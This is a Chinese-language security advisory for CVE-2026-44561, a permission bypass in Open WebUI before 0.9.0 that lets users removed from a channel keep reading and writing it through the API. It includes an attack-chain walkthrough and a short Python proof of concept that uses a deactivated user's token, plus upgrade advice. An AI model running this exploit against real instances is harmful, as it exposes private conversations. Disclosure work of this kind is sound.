IPBUF安全漏洞报告
English
CVE-2026-44561 CVSS 5.4 中危

CVE-2026-44561 Open WebUI权限绕过漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-44561
漏洞类型
权限绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

权限绕过Open WebUI逻辑漏洞CVE-2026-44561API安全

漏洞概述

Open WebUI是一个自托管的人工智能平台。在0.9.0版本之前,系统存在一个严重的逻辑缺陷。`is_user_channel_member`函数在验证用户频道成员身份时,仅检查数据库记录是否存在,却忽略了`is_active`字段的状态。这导致被移除或已退出的用户,其成员记录依然存在。攻击者可利用此漏洞,通过直接向API发送请求,绕过前端限制,继续对已无权访问的频道进行读写操作,造成信息泄露。

技术细节

该漏洞源于Open WebUI后端的授权逻辑不完善,属于典型的访问控制失效问题。在用户加入频道时,系统会在数据库中创建一条`ChannelMember`记录。当用户被频道管理员移除或主动退出时,系统并未物理删除该记录,而是将`is_active`字段标记为`False`,并将`status`设为`left`。然而,在处理涉及频道访问的API请求时,关键的`is_user_channel_member`函数仅执行了类似`SELECT * FROM ChannelMember WHERE user_id = ? AND channel_id = ?`的查询。只要查询返回结果,系统即判定用户拥有权限。由于代码逻辑中未包含`AND is_active = True`的过滤条件,导致已被停用的用户仍然被视为有效成员。攻击者只需持有有效的会话Token(即使是低权限用户),即可通过API直接调用目标频道的读写接口,从而绕过前端界面的限制,非法获取私密对话内容或篡改数据。

攻击链分析

STEP 1
步骤1
攻击者曾是频道的成员,后离开或被管理员移除(数据库中is_active被标记为False)。
STEP 2
步骤2
攻击者保留并使用自己之前获取的有效Session Token或认证凭证。
STEP 3
步骤3
攻击者绕过Web前端界面,直接向后端API发送针对该频道的读取或写入请求。
STEP 4
步骤4
后端`is_user_channel_member`函数校验权限,发现存在ChannelMember记录,但未检查is_active字段。
STEP 5
步骤5
后端误判攻击者仍具有合法权限,返回频道敏感数据或执行攻击者的写入操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration TARGET_URL = "http://target-open-webui-instance/api/v1/channels/{channel_id}/messages" AUTH_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # Valid session token of a deactivated user CHANNEL_ID = "target_channel_id" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Exploit: Attempt to read messages from a channel the user has left response = requests.get(TARGET_URL.format(channel_id=CHANNEL_ID), headers=headers) if response.status_code == 200: print("[+] Exploit Successful! Deactivated user can still read channel data.") print("[+] Data:", response.json()) else: print("[-] Exploit Failed.")

影响范围

Open WebUI < 0.9.0

防御指南

临时缓解措施
建议立即升级至修复版本。若无法立即升级,可通过数据库脚本手动清理或标记已完成退出的用户记录,或者在应用网关层增加额外的逻辑校验,但这仅作为临时手段。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表